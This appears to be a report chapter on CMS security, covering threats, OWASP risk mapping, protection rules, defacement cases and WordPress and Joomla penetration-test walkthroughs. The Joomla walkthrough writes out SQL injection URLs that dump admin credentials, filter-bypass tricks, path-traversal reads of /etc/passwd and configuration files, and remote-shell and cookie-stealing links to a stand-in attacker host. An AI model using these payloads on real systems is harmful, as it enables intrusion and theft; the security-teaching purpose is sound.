0         CMS Security

Security should have to be seriously considered in CMS development.

0.1        Security Threats

0.1.1        Is the Web 2.0 insecure by design?

The most part of exploits come from Web 2.0 components. Infrastructural ones are residual (according to [21]).

 

 

 

Usual Example of cyber attacks:

·         Web: SQLi, Defacement, iFrame, Account Hijack, XSS

·         Infr: DNS Hijacking, Application, Malware, Ramsonware, Botnet, 0-Day

·         Mix: DDoS, Targeted

·         Unknown: not specified

0.1.2        CMS Security Threats: Hacking Goals

Each cracker (hacker) has 3 main desires:

#	Name	Goal	Description	Category
1	Information Stooling	Harvest Data	to access system in order to harvest information directly about money, periphrastically about customers, indirectly about patents or inserting malware (to be downloaded by users)	Exploiting
2	System Access	Gain Powerness	to earn Computers (Network presence and calculation) power in order to continue building a BotNet	Profiteering
3	Denial of Service	Destroy Reputation	to cause money or reputation loss due to un-availability of services of functions	Wasting

 

0.1.3        CMS Hacking Instances

Applying hacking to CMS leads to the following specific instances of threats:

·         DDoS (to Third party)

·         Click-Jacking:

·         Pharming (Ramsonware, Wiping, Espionage)

·         DoS

·         Dox(x)ing

0.2        Web Application Security: OWASP

Started on September 9, 2001 by Mark Curphey, it is an online community dedicated to Web Application Security. OWASP works for creating freely-available materials.

 

Figure 3- OWASP Logo

 

The most useful ones are:

·         OWASP Top Ten (article): awareness about application security by identifying most critical vulnerabilities, on a 3 years basis

·         OWASP Development Guide (doc): practical guidance with coding examples. It covers an extensive array of application-level security issues (not only Top10)

·         OWASP Testing Guide (methodology): "best practice" penetration testing framework + "low level" penetration testing guide

·         OWASP Code Review Guide (methodology): a key enabler for the OWASP fight against software insecurity

·         WebScarab (tools)  web security application testing tool (acting as a proxy)

·         Enterprise Security API (technology):  free, open source, web application security control library for writing lower-risk applications

0.2.1        Simple Web Application Security: OWASP TopTen

For the sake of simplicity, let’s take a look at the most direct issues exploited during attacks: the OWASP Top Ten.

OWASP Top Ten are published on a 3-years basis interval (2007, 2010, 2013, etc). It resumes the most important web application security concerns. The current one:

·         A1 – Injection (e.g. SQL); i.e. inquiry, obtaining information

·         A2 – Broken Authentication and Session Management; i.e. breaking cookie session mechanism

·         A3 – Cross-Site Scripting (XSS); i.e. inject (user executed) code, taking advantage of user’s trust to web site

·         A4 – Insecure Data Object Reference;

·         A5 – Security Misconfiguration;

·         A6 – Sensitive Data Exposure;

·         A7 – Missing Function Level Access Control;

·         A8 – Cross-Site Request Forgery (CSRF); i.e. send user’s request, taking advantage of web-site’ trust on user

·         A9 – Using Component with Known Vulnerabilities;

·         A10 – Unvalidated Redirects and Forwards; i.e. redirect to URL obtained by query end not first-checked

For further details take a look at [22].

0.2.2        CMS Risk Analysis: Map Threat vs OWASP Top10 Vulnerabilitiies

In order to execute a simple Risk Analysis, a mapping could be performed, confronting the web threats listed in § 2.2.1 against the 10 vulnerabilities entailed in OWASP Top10.

The following table describes the first mapping:

Risk	Threat	Final Goal	Attack Example	OWASP Vuln
Exploiting	Information Stoling	Harvest Data/Money	Pharming Click-Jacking	A1 (Inj) A3 (XSS) A4 (Ins Obj Ref) A6 (Sens Data) A8 (CSRF) A10 (Unv Red/Fwd) A9 (Known Vulns)
Proofitering	System Access	Gain Power	DDoS (3rd party)	A9 (Known Vulns) A2 (Brk Auth/Session) A5 (Sec Misconf) A7 (Func ACL)
Wasting	DoS	Destroy Reputation	DoS Dox(x)ing

 

Further analysis dimension should be added, considering the DevOps model:

·         Ops (Needed) Operation for Security Maintenance (Delivery and Support part, OpEx)

·         Dev (Optional) Development of the site (Acquire and Implement part, CapEx)

0.2.3        CMS Security: Address Risks covering proper Top10 Vulnerability

In order to manage the current risk, at the right time, selected vulnerabilities should be addressed. Different vulnerabilities are conditioning the two different situation. A first mapping could be as the following:

Risk	Dev	Ops
Exploiting	A1. Injection: Filter A3. XSS: Filter A4. Object Reference: File Access A6. Data Exposure: File Access A8. CSRF: Filter A10. Unv Ref/Fwd: Filter	A6. Data Exposure: File Permission Check A10. Unv Ref/Fwd (no HTML permissions) A9. Known Vulns: Patching
Proofitering/Wasting		A9. Known Vulns: Patching A5. Sec Misconfiguration: Hardening A7. Function Access: ACL periodic check A2. Broken Auth: SSL

 

Using proper CMS, providing true secure API, the 6 vulnerabilities pertaining to Dev should be solved out (A1, A3, A4, A6, A8, A10).

About vulnerabilities related to Ops:

·         A2 (Broken Auth): could be issued by usage of proper encryption mechanisms (e.g. TLS)

·         A6 (Data Exposure): solved out by employment of proper CMS

·         A5 (Hardening): should be performed during installation and periodicly checked. The use of proper CMS helps in gaining effectivenss

·         A7 (Function Access): periodic check should be performed

·         A10 (Unv Redirect/Fwd): periodic check against HTML permission to users

·         A9 (Know Vulns): monthly based activity

0.2.4        CMS Patching Comparison

On the basis of this simple analysis, the A9 is the most significant vulnerability to address; it also asks for more effort. Moreover, the quality of CMS product security maintenance is extremely important for guarantee the efficiency and effectiveness of secure patching.

All the Top 3 used CMS products are OpenSource (GPLv2): a direct comparison is possible about #vulns, update frequency (data collected from [6]).

 

 

 

Most useful, the update/vulns ratio: how many updates between 2 high vulns, in the average

 

 

 

0.3        Defining CMS Security

0.3.1        Easy Rules for CMS Protection

Here 5 simple rules for protecting the CMS:

1. Update and Patch CMS at a regular schedule
2. Backup CMS and underlying DB weekly
3. Subscribe to List and Forum about CMS vulnerabilities
4. Change default usernames (e.g. “admin”) and use strong password
5. Double check additional components (plug-ins, modules) before installing them

0.3.2        CMS Risk Analysis

A CMS should be always on-line. So it is subjected to threats, everytime, 24 hour by 7 days. A proper Risk Analysis should be performed (even if in a fast arrangement shape) in order to prevent losses of money/reputation. The following steps should be performed:

1. Useful Asset: Identify the assets provided to the Internet (combination of Information, Computation Power, Internet Presence)
2. Asset Value: Give a value to each asset, in term of money loss and percentage (if more than an asset type was identified)
3. Possible Actors: locate the possible type of actors that could perform ad attack to the CMS (e.g. competitors, hactivists, organized crime, etc) and tie to the right threat type (e.g. DoS, System Access, Information Stoling)
4. Asset Weight: adjust the asset value, based on the identified actors
5. Probable Attacks: desume the most probable attacks that could arise
6. OWASP Vulns: obtain the most probable OWASP vulnerabilities to be covered

0.3.3        CMS Security Management

CMS Security could be defined in a 5W-1H fashion:

5W1H		Description	Notes
Who	Secure Core Code	Code inspected by the Security Team, in order to assure the CMS Kernel is secure by itself.
What	Module Development	Security issues are statically checked by formal verification: ·         Core Security Check ·         Proactive Approach: 3rd party formal testing of posted modules	Drupal only
Where	Security Categories	The Security issues fall into one of the following categories: ·         Core Code (CMS Kernel) ·         3rd party Extension (Modules, Plug-ins, Themes) ·         Custom per-Site (current implementation) ·         Admin Configuration ·         Environment (e.g. physical server, O.S., web server, DB, etc)
When	Access Control	Security issues are dynamically checked by revision of access mechanisms: ·         Granular ·         Role System	Drupal only
Why	Security Issues	Security issues could involve one of the following: ·         Secure Code ·         Access Control ·         Content Security
How	Tackling Security	In order to avoid security issues, the following countermeasures and stadards are implemented: ·         Security Team ·         Object Interface ·         3rd party Integration

 

0.4        Hacking CMS (Penetration Test and Vulnerability Assessment)

Hacking Operation against CMS are composed by the same elements of each other PT:

1. Information Gathering: “pre” phase, in which the attacker is harvesting information useful to determine the battlefield. That could encompass a number of different techniques and take a lot of time. During this, the final attack is accurately designed and planned, in order not to have unknown situation during the following exploitation time. The usual first 3 hacking activities could be translated to CMS as the follow:

·         Footprinting: searching for company target, identify CMS domain and managed information

·         Scanning: performing the detection of CMS

·         Enumeration: assessing the running version of the software

2. Attack Exploitation: “go” phase, the action, the execution of the wasting operation, as before designed and planned. There are 2 main kind of attacks: Profitering of Company IT infrastructure for obtaining powerness or harvesting information (“System Access” or “Information Stooling”) and Wasting some Company IT service (DoS). The usual next hacking activities could be translated to CMS as the follow (mapping to OWASP Top Ten):

·         Gaining Access: entering the CMS in order to issue proper instructions to establish the attack, via A2 (Broken Authentication and Session Management), A8 (Cross-Site Request Forgery), A9 (Using Component with Known Vulnerabilities). In case of DoS this is sufficient

·         Escalation Privilege: gaining more powerness, via A2 (Broken Authentication and Session Management), A5 (Security Misconfiguration), A7 (Missing Function Level Access Control),

·         Pilfering: harvesting information, via A1 (Injection), A3 (XSS), A4 (Insecure Direct Object Reference), A6 (Sensitive Data Exposure), A10 (Unvalidated Redirects and Forwards)

3. Hide & Return: “post” phase, in which the attacker is erasing clues about attempted violation (“Covering Tracks”) and building hooks to come back and to restart 'stripping the flash off his prey without haste' (“Creating Back-Doors”)

0.4.1        CMS Hacking Mode of Operations

In order to make viable the threat instances, the following goup of actions are performed:

	Classic IT Attack	Web Attack	Web Tool	Example
Information Gathering   “pre-phase”: harvesting informtion	Footprinting: identify target domain and info	Harvest information, matching with vulns DB	Wappalizer
	Scanning: detect the actual infrastructure		BuildWith
	Enumerating: individuate running version
Attack Exploitation   “go phase”: the action	Gaining Access: entering the CMS, executing cmd	Starting Attack	XSSer nmap
	Escalating Privilege: gaining more powerness		FImap
	Pilfering: harvesting information		SQLmap
Hide & Return   “post-phase”	Hide Logging

 

 

 

 

 

0.4.2        Manual CMS Detection

It is possible to find out, which CMS was used to build a site, performing some simple technical searches (absolutely permitted) among the site, by direct inspection of the website. With reference to WordPress, Joomla! and Drupal, the instructions were collected, respectively, from: WordPress: [7], Joomla!: [8] and Drupal: [9]. The following table summarizes the checks to be put in action:

 

Search Criteria	WordPress	Joomla!	Drupal
String Search	Powered by WordPress: search for this string inside webpage (usually in the footer)	N/A	Expires Header: expires header is used to tell the client how long a component can be cached. Drupal sets it to Nov 19, 1978 in the conf file /includes/bootstrap.inc, since it is the born date of Dries Buytaert, the founder of Drupal
Source Code	Generator tag: search, into webpage source code, inside the <head> section for something like <meta name=”generator” content=”WordPress 3.1″ />. It could be removed by adding the following line to “functions.php” file: remove_action(‘wp_head’, ‘wp_generator’); Link Tags: searching the page source for strings like “wp-content”, wp-uploads”	Generator tag: search, into webpage source code, inside the <head> section for something like <meta name=”generator” content=”Joomla! 1.x″ />	Source Code: search for some frequent strings “/sites/”: inside href values “Drupal”: as beginning of referenced files for configuration “views”: module “panel”: module “CCK”: module
User Area	WP-Admin: search for admin area http://domain.com/wp-admin/ WP Login: search for other admin area http://domain.com/wp-login/	Joomla!-Admin: search for admin area http://domain.com/administrator/	User Subfolder: search for subfolder, navigating the site: /user/ /user/password/ /user/register/
Files/Links	ReadMe: go to http://domain.com/readme.html	Template Position: : search for admin area http://domain.com/?tp=1	Default Files: CHANGELOG.txt misc/drupal.js misc/druplicon.png
Website Search	WordPress Theme Search: open the webpage http://whatwpthemeisthat.com/ and check the theme used in the URL provided. If this is not WordPress, a quick message is displayed “domain.com does not appear to be a WordPress site”	N/A	WebSites: ask directly to proper websites, expressely developed for Drupal (http://isthissitebuiltwithdrupal.com)

 

0.4.3        Automatic CMS Detection: PlugIn

The easiest one is the install a plugin in the browser, like:

·         Wappalizer (see, https://wappalyzer.com/download)

·         BuilWith (see http://builtwith.com/)

·         Chrome Sniffer (see https://chrome.google.com/webstore)

In the following picture, a screenshot of Wappalizer used with Google Chrome browser:

 

 

Figure 4- Wappalizer in Chrome Browser

 

0.4.4        Automatic CMS Detection: WebSearch

The second one is to access a web site and insert the URL to analize (e.g. http://builtwith.com/). Usually, it overwhelmes with many other information (WebServer, Framework, Advertising, Analytics, JavaScritpts Library, Encoding, etc). In the following picture a screenshot of the detailed analysis provided for the same site:

 

Figure 5- BuiltWith run on WhiteHouse.gov

0.4.5        CMSmap: CMS Vulnerability Scanner

CMSmap (see [26]) is a simple Python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs. The main purpose of CMSmap is to integrate common vulnerabilities for different types of CMSs in a single tool. At the moment of writing, CMSmap supports WordPress, Joomla and Drupal.

CMSmap is currently in an early stage of development but it already runs a variety of tests in order to highlight plenty of possible misconfigurations and vulnerabilities that the target website may suffer.

CMSmap supports the following features:

1. CMS Detection: identification of the CMS type of the target site. That is, CMSmap will run a test taileored for the given CMS
2. Plugin List: list of default WordPress, Joomla! and Drupal plugins (in order to try attacks against them)
3. Deep-driven Test: CMSmap run a bunch of tests, from the simplest ones such as detection of CMS version, theme and default files to the more time consuming ones such as detection of plugins
4. Multithreading Tool (by default is set to 5 threads): This is to reduce the likelihood of causing denial of service on the target website. However, there is an option that allows a user to increase the number of threads, and thus the speed of scanning
5. Ease of Use: only mandatory option is the target URL. However, CMSmap includes a brute-forcing module as well. If the user wants to run a brute-forcing attack, password/username files must be provided along with the URL. By default, Drupal is the only CMS that will lockout user accounts after a certain number of failed attempts. This means that unless a specific security plugin is installed you are pretty much free to brute force WordPress and Joomla login forms
6. Brute Force Attack: offline brute force attack of WordPress and Joomla password hashes. via HashCAT which could be useful to see if users, including admins, are using weak passwords

The core of CMSmap is to detect vulnerable plugins and provide a list of potential exploits by querying the Exploit Database website (www.exploit-db.com). This is because, unless a really old version of the core CMS is installed, the easiest way to take over a CMS website is by exploiting a vulnerable plugin (as discussed in a previous article here). In order to do that CMSmap identifies plugins by scanning the web directory, and then for each plugin it queries the Exploit Database. In this way, whenever a new exploit is published on the Exploit Database, CMSmap would be able to report it.

CMSmap is developed by Dionach (https://www.dionach.com). Dionach site runs on Drupal.

0.4.6        WordPress Penetration Test

A Penetration Test is an adaptable attack testing process but it should be composed by many needed steps:

1. Version Identication: which version the target website is using. Identifying the version of an unhardened WordPress is straight forward. By browsing the default “readme.html” WordPress lets us know the current version installed:

http://www.iconsiglidelfantacalcio.it/icdf/readme.html

 

 

 

2. Public Vulnerability Search: using the information about version, it is possible to search online for public vulnerabilities related to that specific version by the means of usual Vulnerability advise page like [6].

 

 

 

If there is not (as in this case), go to next step

 

3. Enumerate Plugins: the added software modules could be identified by the means of a tool. Here are listed the most used ones:

·         WPscan: black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues

·         Dir Buster: DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers

·         Burp Suite: Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities

·         Python self-script: you can create your plugins list by crawling the official WordPress site at http://wordpress.org looking for the most popular plugins (see [27] for more details)

4. Vulnerability Public Search: vulnerabilities that fit current plugins could be discovered by a search on the following websites:

·         ExploitDB: http://www.exploit-db.com/

·         Packet Stomr Security: http://packetstormsecurity.com

·         1337 Day: http://1337day.com

·         Shodan: https://exploits.shodan.io

The best is that one of the plugins was vulnerable to a SQL Injection. A SQL Injection vulnerability in a WordPress site basically means obtaining WordPress administrator privileges and thus a PHP shell on the website. Through SQL injection in fact it was possible to read the reset password key from the database by resetting a WordPress administrator’s password at the following URL http://example.com/wp-login.php?action=lostpassword

5. PHP Shell: resetting an administrator’s password then you have privileges to access the WordPress theme editor, and in case you have write access, it allows adding arbitrary PHP code (e.g. PHP shell). The an usual Unix/Windows pentest could be executed

 

6. Enumerate Users: a user enumeration could be executed by putting “?author=$i” at th end of the URL of the target website. Make advantage of NMAP brute force capability:

http://nmap.org/nsedoc/scripts/http-wordpress-brute.html

The most part of the exploited vulnerabilities could be erased by the means of OWASP WordPress Security Implementation Guide (see [30])

0.4.7        Joomla! Penetration Test

A Penetration Test is an adaptable attack testing process but it should be composed by many needed steps, according to [29]:

1. Version Identication: Check for unnecessary files like ; Joomla.xml, readme.txt, htaccess.txt – These kind of files store good amount of information within them and can be of great use in identifying whether site is using Joomla or not. Otherwise, make use of automated testing tools like:

·         CMS Explorer: CMS explorer is an automated tool used to find out and reveal the different modules, plugins, components and themes a particular CMS based site is using. It has ability to reveal hidden/library files which are not typically accessed by web clients. It can serve different purposes apart from this like searching OSVDB for vulnerabilities, etc. However we will keep our usage of CMS explorer limited to identification of CMS only. (http://code.google.com/p/cms-explorer/)

·         Joomscan: Joomscan is an OWASP project which can be used to detect a web server (whether it is using Joomla or not), and check for its version of Joomla. Again it is also capable of finding out vulnerabilities in a site based on the plugins, extensions, etc. and that can be used for exploitation part. Once it lists all the modules it automatically starts testing the modules for known vulnerabilities like RFI, LFI, SQL injection, etc (http://sourceforge.net/projects/joomscan/)

·         Wappalizer: see previous description

 

2. Public Vulnerability Search: using the information about version, it is possible to search online for public vulnerabilities related to that specific version by the means of usual Vulnerability advise page like [6].

 

 

 

If there is not (as in this case), go to next step

 

3. Enumerate Extensions: the identification of the extensions and its versions could be manually performed, completing by hands the URL: <extension-name>.php?option=<com-name>&<parameter>=<value>, where the parameter coud be:

·         catid: identifier of the category

·         cat: category

·         productid: identifier of the product

·         product: ° product

·         visit:

·         page:

·         layout:

·         controller:

 

4. Vulnerability Public Search: vulnerabilities that fit current plugins could be discovered by a search on the following websites:

·         ExploitDB: http://www.exploit-db.com/

·         Packet Stomr Security: http://packetstormsecurity.com

·         1337 Day: http://1337day.com

·         Shodan: https://exploits.shodan.io

The best is that one of the plugins was vulnerable to:

·         SQLj: SQL Injection

·         LFI: Local File Include

·         RFI: Remote File Include

·         XSS: Cross Site Scripting

·         CSRF: Cross Site Request Forgery

 

5. Manual Testing: start searching with:

·         Input Fields: you can pass something malicious

·         URL Parameters: try to analyze the way they are working, their names, etc. so that you can try other too

·         Crawler Instructions: check for the robots.txt file

·         Admin Back Panel: Try to login into admin back panel administrator/index.php

·         Theme: try to locate the used theme

·         PHPMyAdmin: search for the DB administration front-end

 

6. SQL Testing: SQLj is the most common and popular method to hack a Joomla site. e. A typical URL which can give you an idea of looking around improper validation for SQL injection will look something like this: index.php?option=com_abcdef&product=441&productid=12

·         Check for Vulnerability: Change the value of parameter (441 or 12 in this case) to ‘or something at random which can’t exist in the rows of that particular column. Observe any kind of MySQL errors popping up on the website. If you find one, well congrats, you might have discovered an SQL injection vulnerability

·         Find the number of columns: Append “order by” statement followed by some proper sequence of integers starting from 1. The moment you starts getting an error, take the integer value, subtract 1 and this will be the number of columns in the database (e.g. keep incrementing the number until we get an error: http://example.com/index.php?option=com_movm&controller=product&task=product&id=5+order+by+5--

·         Check for UNION function: With union we can select more data in one SQL statement, so we have http://example.com/index.php?option=com_movm&controller=product&task=pro... 1,2,3,4-- We already found that number of columns are 3 in section 2. If we see some numbers on screen, i.e. 1 or 2 or 3 or 4 then the UNION works

·         Check for MySQL version: Now let’s say you had got some number say 3, replace the number 3 with @@version and you will get something like “5.0.45” or similar; Well this is the version of MySQL being used at the website. The whole input will look like: http://example.com/index.php?option=com_movm&controller=product&task=product&id=5+UNION+ALL+SELECT+1,2,@@version,4--

·         Find out Table and Column Name: When it comes to identify the table names and column names, we have two options: a) Hit and trial with common table names and column names. : Most commonly used and interesting table names includes users, userstable, admin, etc. Also common and interesting column names includes email, password, username, userid, etc. b) Take a help from Information schema database. Information schema database holds information about all the things in a database, like tables, columns, 10 | P a g e primary keys, alternate keys, constraints, and almost everything except User Data. We can say that it contain Meta data, i.e. data about data.

·         Finding out the REAL data: Once you had collected column names and table names, you can start looking for the data in columns too. As we know the table name, and column names, we just need to hit a simple query like: http://example.com/index.php?option=com_movm&controller=product&task=product&id=5+union+all+select+1,2,concat(user,0x3a,passwd,0x3a,email),4+from+admin-- And this will give the username, password, and email id of users on the website. However the password which you get may be encrypted with some hash say MD5, SHA1, etc. If so, either get a copy of john the ripper or you can check some online Rainbow Tables at md5crack.org and similar websites

·         Check for Blind SQL Injection: In some of the cases no errors may pop up and you might be supposed to observe any of the changes which are coming on the page. For example, a site may handle the errors and give you a redirect to the home page on filling any wrong SQL statement while some “Page Not Found” error on entering a wrong value but a syntactically correct SQL statement. This will help you differentiate in TRUE and FALSE values which will further enable you analyze the behavior of SQL database

·         Bye-passing Filters: Sometimes while doing all this stuff, you might get errors or unresponsive errors because of a Web Application Firewall (WAF) implemented at the back end which is filtering all your malicious queries. In this case you have no other option then to obfuscate your queries. There are some techniques which can be implemented to bye-pass WAFs depending upon the level of complex validations it has implemented. Use ‘+’ in place of all spaces; Use “%20” in place of all spaces; Use “/*” In the end instead of “--“; Use “/*!” before each keyword and “*/” after each keyword. Use random Case sensitiveness; ex. For SHUBHAM, we can use Shubham, sHubham, shUbham, sHUBham, shubHAM, shubhAM, shubhaM, etc.

·         Automated SQL Injection Testing: Many of the times, when you are testing a SQL injection vulnerability, the things might get quite time consuming, you can mess up and waste a lot of time. In that case, go for an automated tool. There have been lot of tools available in the market for Automated SQL Injection testing. Some of them are:

·         SQLmap: It is an open penetration testing tool which automates the process of finding and exploiting SQL injection flaws and compromising of database servers. It has a powerful detection engine along with many other excellent features for penetration testers. It can be downloaded from http://sourceforge.net/projects/sqlmap .It is however also included in backtrack suite.

·         Havij: Havij is another automated SQL injection testing tool developed by ITsecTeam which have a nice GUI for beginners. It also includes some options to bypass filters, finding admin login page, etc. More information can be looked at http: //www.itsecteam.com/products/havij-v 116-advanced -sql-injection/index.html .

7. LFI Testing: Local File Inclusions which have been another major issue for security of Joomla sites, also needs to be tested and can give us some aid in making a good report. Most of the Joomla installations are vulnerable for this type of attack and some of them don’t even get fixed. This generally leads to a server compromise and things become serious all of a sudden (for administrators). LFI means Local File Inclusion in which we try to include a local file from the server and execute it in place of a file which was supposed to be. It happens due to improper validation in the PHP files which are calling or including the files. A typical LFI vulnerable URL may look like: http://example.com/index.php?option=com_abcdef&Item=2&view=guestbookpage

·         Find out the vulnerable parmeter: Most of the time, vulnerabilities exist in following parameters:

1. Controller [ /index.php?option=com_jradio&controller=some_value ]
2. Layout [/index.php?option=com_k2&view=item&layout=item]
3. Page [/index.php?page=shop.product_details&flypage=flypage.tpl&product_id=264]
4. View [index.php?option=com_content&task=view&id=24&Itemid=63]

·         Exploit is using Directory traversal: The way we can exploit this is quite easy. Famous Null bytes which helps us to byepass a restriction which is set in the respective PHP script. Basically any of the parameter is being used to include a file from the local hard disk which can be of good use to us. With the knowledge of LFI and basic Joomla knowledge, we can try to access configuration.php file by using this vulnerability. http://example.com/index.php?option=com_blabla&view=../../../configuration.php

1. Steal the credentials: As soon as we get access to this configuration file, the login details for current database server will be accumulated. Next locate the PHPMyAdmin login on the same server and try to login into it with the data from the configuration file.

·         Test for /etc/passwd exposure: Since it depends on the level of improper validation which can be exploited, there are chances of getting access to /etc/passwd file too in the same manner. Once you have access to that, all user information is accessible to you. This is how it can be done. http://example.com/index.php?option=com_blabla&view=../../../../../../../../../../../../../../../etc/passwd

·         Test for /etc/shadow exposure: You can also try /etc/shadow file which stores the encrypted passwords of the users. However this file is not accessible in most of the cases without sufficient privileges, but who knows you are lucky someday

8. RFI Testing: Some components of Joomla are vulnerable to RFI too so giving this test while auditing such site is quite worth. Unlike LFI which allows us to include some file from the local machine, in RFI we can include files from another server and then can execute the same on the target. http://example.com/index.php?option=com_sef&Itemid=&mosConfig.absolute.path=. A typical RFI vulnerable URL will look exactly like a LFI vulnerable URL. When you found a RFI vulnerable URL, try to include your PHP shell which is hosted on some other box. After executing your shell, you will be able to list the files, download the files, change the contents and remove files too. http://example.com/index.php?option=com_sef&Itemid=&mosConfig.absolute.path=http://myevilserver.com/evilshell.php? If a RFI vulnerability exists on a Joomla installation, the risk is measured as highest because from this, the highest level of access is accessible to the attacker with the least effort of attack
9. XSS/CSRF Testing: XSS (Cross Site Scripting) is a technique in which a client side or server side script is executed on the browser of the remote machine making the user susceptible to execute that script (by merely clicking on that link) and hence leaking some of the information saved in his browser. Now this information may be in form of his cookies, session id, etc. Generally XSS is found in input fields of forms, guest books, shout boxes, search boxes, etc. XSS allows Html/JS/VBS code to execute within the victim’s browser.

·         Check if it is vulnerable: A simplest example would be to use the following HTMl code in order to see if an input field or parameter is vulnerable or not. "><iframe src=http://www.google.com> You can also check the same by executing a JS script: <script>alert(“hello”)</script>

·         Try to avoid the quotes in XSS string. (Most of XSS filters do work and help eliminating them). XSS string starts with “> and not with just a HTML tag. Reason for doing so is to close the tag you are currently in. Suppose you are trying the following code: <Input type=”text” name=”search” value=”” /> No doubt that you can’t see the code behind the web application, but you can manage the inputs you give. Now suppose that you are in between the quotes for value, and you passed COOL_MALICIOUS_SCRIPT as the input. Eventually the code at the page source becomes: <input type=”text” nname=”search” value=”COOL_MALICIOUS_SCRIPT /> Now this will either make your whole malicious code a string and passes it on to server all the same. Or it will keep one quote open and will generate an error. So to avoid these two factors, we always put a ‘’ before starting our script so that the whole malicious script may execute without any error or exception. <input type=”text” name=”search” value=””>iframe src=http://myevilserver.com…

·         Locate other points for XSS: Apart from the input fields, some components are also vulnerable which allows including HTML/JS/VBS code into a parameter. For example: http://example.com/index.php?option=com_reservations&task=askope&nidser=2\&namser=test This code can be easily injected with XSS string in following manner: http://example.com/index.php?option=com_reservations&task=askope&nidser=2\&namser=”>iframe src=http://myevilserver.com/someevilfile/cookiestealer.php> What you need to do is, just send this malicious link to administrator of the affected site and as soon as he will open the link, he will include our malicious website’s link in his browser. Now whatever code we might have written, we will be able to execute it and perform some useful task on his browser, say steal cookie, or redirecting him to a phishing page with fake Joomla Login, etc. Many other such vulnerabilities keeps emerging on exploit-db.com so any time you test a Joomla site for an attack, do not forget to have a look on some security advisory for latest possible attack vectors

10. Enumerate Users: a user enumeration could be executed. . Make advantage of NMAP brute force capability:

http://nmap.org/nsedoc/scripts/http-joomla-brute.html

0.4.8        Security Vulnerabilities: WordPress TopStar

WordPress, Joomla! and Drupal seem like MS-DOS, MacOS and Linux in ‘90s:

·         WordPress (MS-DOS) is the most easy, not so beautiful but most used. No special attention has been paid for security: like DOS with virus linking to free pointers

·         Joomla! (MacOS) is more focused in appearance. In the web 2.0 era, it means that particular focus has been poned to graphics and socialness

·         Drupal (Linux) is based on structure and centrality as a CMS: However, it is the most difficult one and the shape depends on the configuration

Since WordPress owns the 60+% of the market and was built with no special attentions to security, there are a lot of attacks available against it: easy to invent, huge for results. Just to give an example, here are 2 typical vulnerability advises:

·         Million WordPress websites vulnerable to DOM-based XSS: any WordPress Plugin or theme that leverages the genericons package is affected by a DOM-based Cross-Site Scripting (XSS) vulnerability due to an insecure file included with genericons

http://securityaffairs.co/wordpress/36607/hacking/million-wordpress-dom-based-xss.html

·         Security Breaches: WordPress - FBI Warns About ISIS-Themed Defacement: the FBI warns administrators of websites running WordPress content management system (CMS) of the increasingly frequent defacement attacks from alleged ISIS (Islamic State of Iraq and al-Shams) supporters targeting this web platform

http://news.softpedia.com/news/FBI-Warns-About-ISIS-Themed-Defacement-Urges-WordPress-Admins-to-Patch-477974.shtml

0.4.9        Security Breaches: Defacement

The most common type of CMS attack is the defacement: an attack on a website that changes the visual appearance of the site or a webpage. These are typically the work of system crackers, who break into a web server and replace the hosted website with one of their own. Defacement is generally meant as a kind of electronic graffiti, although recently it has become a means to spread messages by politically motivated "cyber protesters" or hacktivists.

The most common method of defacement for a CMS Web Site is using SQL injections, which allows gaining administrative access. The most common target of defacement are:

1. Religious and Government: these sites are regularly targeted by hackers in order to display political or religious beliefs, whilst defacing the views and beliefs of others. Disturbing images and offensive phrases might be displayed in the process, as well as a signature of sorts, to show who was responsible for the defacement. Educational site could be considered as Government (sometimes, religious)
2. Corporations these are also targeted more often than other sites on the Internet and they often seek to take measures to protect themselves from defacement or hacking in general. Web sites represent the image of a company or organisation and these are therefore suffer significant losses due to defacement. Visitors may lose faith in sites that cannot promise security and will become wary of performing online transactions
3. NewsPaper: these site could be targeted by hacktivists opposite to the usual newspaper line of conduct and vision. Defacement give the ability to hide for sometime the ideas shown by the website, displaying in the meantime contrary political or religious beliefs

Websites are not only defaced for political reasons; many defacers do it just for the thrill. Just to give an example, here are 2 typical description of defacement incident:

·         CMS-Made-Simple (2007-09-13): defacement of the site that hosted the CMS developing factory, performed by a script kiddy, using the script r57shell (google). It was just annoying

http://www.cmsmadesimple.org/cgblog/794/cmsmadesimple-org-defacement/

·         SPIP - Santa Cecilia (2015-03-04): The attack was attempted on 2015 against an education site (the most famous school music in Italy). The defacement reports content about “King Skrupellos, Cyberizm digital security team”, a team of hackers that have already performed such an attempts.

 

 

 

Probably, the attack is due to many vulnerabilities affecting the very old version (2.1.2, the newest one was 3.0.17, at that moment) of the adopted CMS: SPIP (http://www.spip.net/). SPIP is a very uncommon CMS, SkyBox points out 5 vulnerabilities (of which 2 serious) affecting the installed version at the time of events (see https://www.vulnerabilitycenter.com/#search=SPIP). The process of hacking SPIP is depicted in a video on YouTube (see https://www.youtube.com/watch?v=05-DwwQWjMA ).

The school director said: «I think it is not a targeted attack against the school […], I think, instead, that our site, without protection, was one of the most vulnerable ones ». The La responsabilita’ rimane loro, anche se deficitano delle necessarie competenze. Many articles describes this incident (see

http://roma.repubblica.it/cronaca/2015/03/05/news/attacco_hacker_dalla_turchia_al_conservatorio_di_santa_cecilia-108769752/ )

 

The 2 example above are intended to put the right attention on CMS and its security, since:

1. Risk is not zero (even if not a fast and huge money making coming from a CMS successful attack)
2. Customer should look after website security since he is ultimately responsible

The best possible choice is to adopt a CMS that requires the least possible administration tasks (i.e. user right checks) and management operation (i.e. software updating).

Also in Italy (a not-so-well-Internet-experinced-country), the Government is focusing on cyber-security. There is a National Policy about Information Security (http://www.sicurezzanazionale.gov.it). The annual report, about 2014, was introduces in the Italian Parliament by Secret Services (see http://www.sicurezzanazionale.gov.it/sisr.nsf/archivio-notizie/la-relazione-per-la-politica-dell-informazione-per-la-sicurezza-2014.html). There is a section aout “Information Warfare” cyber-attacks, aimed to information distortion. It is something a managing director should pay attention at:

1. Select a supplier issuing a proper CMS, usual, secure, reliable, uodated (e.g. Drupal 7)
2. Mind the need of maintenance operation (like periodic patching)

0.5        References

[21]	Internet Exploits and Attacks: http://hackmageddon.com
[22]	OWASP Top Ten: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
[22]	Found Out if a Site is Using WordPress: http://themefuse.com/how-to-find-out-if-a-site-is-using-wordpress/
[23]	Detect if a site uses Joomla!: http://www.jug-central.org/hint-and-tips/6-ht-joomla/4-how-to-detect-if-a-site-uses-joomla-and-what-version
